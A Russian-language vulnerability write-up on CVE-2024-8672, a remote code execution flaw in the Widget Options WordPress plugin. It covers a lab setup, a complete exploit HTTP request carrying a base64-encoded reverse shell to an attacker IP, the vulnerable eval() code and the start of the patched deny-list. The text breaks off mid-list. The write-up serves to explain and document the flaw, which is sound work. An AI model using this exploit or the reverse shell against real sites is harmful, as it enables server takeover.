Remote Code Execution в Widget Options (WordPress Plugin) — CVE-2024-8672
Введение
28 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с CVSS 9.9. Уязвимость позволяет выполнять удалённое исполнение вредоносного кода пользователю, имеющему права «Contributor» и выше. Уязвимости подвержены все версии плагина ниже 4.0.7 (включительно).
Подготовка стендового окружения
Для работы WordPress необходимо установить веб-сервер с поддержкой PHP, а также поднять MySQL. В качестве тестового окружения будет использоваться XAMPP.
Установка WordPress
Заходим на страницу загрузки WordPress и скачиваем последнюю версию:
Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP — /opt/lampp/htdocs
):
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
Также нужно изменить владельца папки wordpress
на пользователя веб-сервера (в случае с XAMPP — daemon
):
sudo chown -R daemon:daemon /opt/lampp/htdocs
Дальнейшая установка происходит в GUI WordPress. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress:
Здесь необходимо будет указать данные для подключения к MySQL (для XAMPP — имя пользователя root
и пустой пароль), а также создать админского пользователя:
WordPress
установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального магазина плагинов WordPress:
После скачивания архива необходимо добавить плагин в разделе Plugins → Installed Plugins:
Для корректной работы плагина необходимо создать пользователя с правами Contributor или выше. Это можно сделать в разделе Users:
Эксплуатация уязвимости
Для эксплуатации уязвимости требуется предварительное получение токена X-WP-Nonce для доступа к API. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами Contributor или выше, перейти в раздел Pages и создать новую страницу:
После этого открывается редактор новой страницы, который обращается к API WordPress, передавая заголовок X-WP-Nonce, который нам и нужен:
Теперь, для удалённого исполнения кода достаточно отправить GET или POST запрос:
GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&attributes[commentsToShow]=5&attributes[displayAvatar]=true&attributes[displayDate]=true&attributes[displayExcerpt]=true&attributes[extended_widget_opts][class][logic]=system('echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash')%3b&post_id=0&_locale=site HTTP/1.1
Host: 172.20.10.4
X-WP-Nonce: 9e522759e7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641
Здесь параметр GET attributes[extended_widget_opts][class][logic]
передается в функцию PHP eval
, которая выполняет переданный ей аргумент как код PHP. При этом значение данного параметра содержит вызов функции system
, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.
Таким образом, в терминал операционной системы сервера передается команда echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash
, которая представляет собой инструкцию для отправки обратного шелла (или reverse shell) на атакующую машину. Эта команда декодирует закодированную строку с помощью base64
и передает результат в интерпретатор bash
, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.
Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.
Причины уязвимости
Причина уязвимости тривиальна: разработчики передают GET-параметр в функцию eval
без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый GET-параметр до устранения данной уязвимости:
function widgetopts_safe_eval($expression)
{
ob_start();
try {
$result = (bool) eval("return $expression;");
} catch (Throwable $e) {
return false;
}
ob_end_clean();
return $result;
}
Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию eval
. После исправления разработчик внедрил фильтрацию потенциально опасных функций PHP, в результате чего функция была модифицирована следующим образом:
function widgetopts_safe_eval($expression)
{
// List of potentially harmful patterns
$dangerous_patterns = [
// Database-related keywords
'/\binsert\b/i',
'/\bupdate\b/i',
'/\bdelete\b/i',
'/\breplace\b/i',
'/\bselect\b/i',
'/\bdrop\b/i',
'/\balter\b/i',
// WordPress-specific database functions
'/\bwp_insert_post\b/i',
'/\bwp_update_post\b/i',
'/\bwp_delete_post\b/i',
'/\bwp_insert_user\b/i',
'/\bwp_update_user\b/i',
'/\bwp_delete_user\b/i',
'/\badd_option\b/i',
'/\bupdate_option\b/i',
'/\bdelete_option\b/i',
'/\bwpdb\b/i',
// JavaScript, CSS, and HTML
'/
-->